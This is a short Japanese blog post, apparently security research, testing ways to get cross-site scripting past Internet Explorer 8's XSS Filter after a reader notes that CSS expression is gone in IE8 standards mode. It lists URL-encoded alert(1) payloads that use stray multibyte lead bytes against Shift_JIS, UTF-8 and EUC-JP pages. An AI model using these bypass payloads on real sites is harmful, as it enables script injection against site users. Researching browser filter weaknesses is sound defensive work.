続: Internet Explorer の XSS Filter

えむけいさんに

IE8標準モードではexpressionそのものが廃止されたので、
http://support.microsoft.com/kb/949787/en-us
ヘッダに「X-UA-Compatible: IE=8」を入れたら動かなくなりました。

というコメントをもらったので、expression を使わないパターンを少し試してみました。

攻撃対象がShift_JISのとき:

http://example.com/?%3cscript%20%81%3e%3ealert(1);%3c%2fscript%3e

攻撃対象がUTF-8のとき:

http://example.com/?%3cscript%20%e2%3ealert(1);%3c%2fscript%3e
http://example.com/?%e2%22onmouseover=alert(1)

攻撃対象がEUC-JPのとき:

http://example.com/?%3cscript%20%e0%3ealert(1);%3c%2fscript%3e
http://example.com/?%e0%22onmouseover=alert(1)

期待していたほども効果的ではない感じ。まぁ仕方ないかな。
どうでもいいけど、IE8 beta 2 でHTMLのソース表示をさせたときに、IE自身が表示する場合とメモ帳が立ちあがってソース表示する場合があるんだけど、この違いは何なんだろう。